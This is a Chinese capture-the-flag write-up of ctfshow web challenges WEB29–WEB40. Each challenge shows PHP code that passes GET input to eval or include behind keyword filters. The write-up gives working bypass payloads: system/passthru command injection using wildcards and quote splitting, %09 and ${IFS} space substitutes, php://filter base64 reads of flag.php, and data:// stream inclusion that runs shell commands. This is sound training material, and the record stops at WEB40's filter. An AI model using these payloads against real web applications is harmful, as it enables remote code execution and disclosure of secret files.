# WEB29

打开环境,查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:26:48
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);

发现过滤了大小写的 flag
?c=system("ls");

先进行命令执行查看有什么文件

发现了 flag.php,进行查看该文件

由于过滤了 flag 这个字符串,因此需要用?或者通配符 * 来进行代替

或者也可以将 flag 进行隔断,这里有很多种姿势,可以都尝试下

1
2
3
?c=system("cat f*");
?c=system("cat fla''g.php");
?c=system("cat fla?.php");

读取的话可以使用 cat、tac、nl 等

1
2
3
?c=system("cat fla?.php");
?c=system("nl fla?.php");
?c=system("tac fla?.php");

不同是在 tac 和 nl 能直接把 flag 显示在页面上,而 cat 需要去注释中寻找
读取得到 flag

ctfshow{6c31e09f-272e-4f25-b30f-37ed59424304}

# WEB30

打开环境查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:42:26
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);

发现除了 flag 被过滤了,还有 system 和 php 同样都被过滤了,既然 system 不能用了那就换成 passthru () 继续进行命令执行
关于 php 字符串的过滤,可以直接使用 f * 来代替 flag.php,或者截断,或者使用?来代替

(同样的姿势来绕过,禁用了什么就用同样的姿势绕过什么)

如下:

1
2
3
?c=passthru("tac f*");
?c=passthru("tac fla''g.ph''p");
?c=passthru("tac fla''g.???");

得到 flag

ctfshow{66e20265-d458-4936-896c-44916e273edb}

# WEB31

打开环境查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:49:10
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);

在前一题的基础上过滤了 cat|sort|shell 这些字符串和点、空格、单引号,cat 很明显不能用了,但是 tac 和 nl 还是没有被过滤,因此绕过字符串过滤的方法还是和的前面的 pyload 一样,只不过需要绕过被过滤的空格,这里可以使用 %09 来代替空格进行绕过
?c=passthru ("tac%09f*");

1
2
3
知识点:
绕过cat使用tac more less head tac tail nl od(二进制查看) vi vim sort uniq
绕过空格用%09 <> ${IFS} $IFS$9 {cat,fl*} %20

这里也列出其他师傅的 pyload 来参考学习

1
?c=passthru("nl%09`ls`");//在注释中查看flag

本题开始也介绍一个很骚的姿势,用 include 进行包含,使用 php:filter 伪协议,payload 如下:

1
?c=include$_GET["nnnpc"];&nnnpc=php://filter/read=convert.base64-encode/resource=flag.php

由于 c 传参中没有被过滤的字符,而 nnnpc 中的 php:filter 伪协议并不是 c 直接传参进去,而是被 include 进行包含进去的,因此不会被过滤,使用该伪协议直接将 flag 进行了 base64 输出在 web 页面上
这里就展示一开始最简单的 %09 绕过空格的办法了

最终得到 flag

ctfshow{98c19e7b-17b8-4a44-bdd8-4837fe3b3a23}

# WEB32

打开环境,查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 00:56:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);

可以看到,在上一题的基础上还过滤了反引号echo
那么前几题的一些 payload 就用不了了,但是 include 包含的方法依然可以使用

看到上一题的 pyload:

1
?c=include$_GET["nnnpc"];&nnnpc=php://filter/read=convert.base64-encode/resource=flag.php

问题就出在了这个 payload 中的?c=include$_GET ["nnnpc"]; 最后面的 ";" 在本题被过滤了,
因此需要改用?> 来闭合绕过

本题 payload:

1
?c=include$_GET["nnnpc"]?>&nnnpc=php://filter/read=convert.base64-encode/resource=flag.php

将 base64 编码解码以后得到 flag

ctfshow{f1a8e8a0-91e4-479e-9bd5-42a8f2be2d46}

# WEB33

打开环境,查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 02:22:27
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
//
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);

看到比上题多过滤了一个双引号
上题 payload:

1
?c=include$_GET["nnnpc"]?>&nnnpc=php://filter/read=convert.base64-encode/resource=flag.php

由于本题过滤了双引号,因此 c 传参的 include 包含语句中就不能有双引号了,所以想要绕过此题的限制还需要改动一下
之前的 nnnpc 是个字符串,因此需要带双引号,这里改为单个字符,就能有效避免双引号的使用了,这里以改为 x 为例(也可以是数字)

1
?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

成功获取 flag 的 base64 编码

解码得到 flag

ctfshow{dad0cd8e-ce67-4697-b1fc-63ec1f9cfbd4}

# WEB34

打开环境,查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);

看到这题将冒号也过滤了,但是不影响上一题构造的 payload,依然能打

1
?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

解码得到 flag

ctfshow{5a506255-1c6d-44a8-9e45-c4b2c3f7207c}

# WEB35

打开环境,查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:23
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);

在上一题的基础上增加过滤了 "<" 和 "=",但依然不影响之前的 payload,继续打

解码得到 flag

ctfshow{6ad42779-430c-4f05-bb93-46960e5b0cb4}

# WEB36

打开环境,查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 04:21:16
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);

发现又多过滤了 "/" 和 0-9 的数字,上一题的 payload 一样能打
如果前几次使用的字符是数字的话就需要进行改动,把数字改为单个字母即可

1
?c=include$_GET[x]?>&x=php://filter/read=convert.base64-encode/resource=flag.php

成功,解码得到 flag

ctfshow{a048f30e-f227-4793-b067-3f8c5fb2a083}

# WEB37

打开环境,查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
 <?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:18:55
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);

看到由前几题的 eval 变成了 include
需要用到 php 的伪协议,这里可以使用 data 的伪协议

由于过滤了字符串 flag,因此得用前面介绍过的方法进行绕过:

?或通配符或截断(这里展示通配符

1
?c=data://text/plain,<?php system("tac f*");

引用 LetheSec 师傅博客中的解释:

data://
同样类似与 php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的 data:// 流会被当作 php 文件执行。从而导致任意代码执行。

data 与包含函数结合的时候输入的 data:// 流就会被当作 php 文件执行,因此就可以利用这点进行命令执行获取 flag

得到 flag:

ctfshow{47106e1a-3b17-400c-b673-942b343939a2}

# WEB38

打开环境,查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 05:23:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);

发现在上一题的基础上,php 和 file 都被过滤了,这可能对 php://filter 协议来说过滤的比较多,但是对与 data 协议没有影响
上题 payload:

1
?c=data://text/plain,<?php system("tac f*");

对于上一题 payload 来说,因为把 php 过滤了,因此影响的就是后面的 php 语句
办法就是将 php 语句进行 base64 编码

1
?c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJ0YWMgZioiKTs=

这样就解决了含有 php 的问题,去打一下

成功获得 flag:

ctfshow{0946522d-4044-4182-a19e-fe3fbfaecab2}

# WEB39

打开环境,查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:13:21
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/

//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);

发现被包含进去的东西被强行加上了.php
所以需要将 data 语句进行闭合,使后面的.php 失效,如下所示(加上 "?>" 进行闭合):

1
?c=data://text/plain,<?php system("tac f*"); ?>

这样的话 data 协议已经执行了 php 语句,后面的.php 就失效了
本题也没有过滤 php 和 file,因此不需要 base64 编码

成功打通获得 flag:

ctfshow{bbb00360-c800-4d03-9447-957dc601ab66}

# WEB40

打开环境,查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/



if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);

发现 include 变回了 eval,而且还过滤了很多东西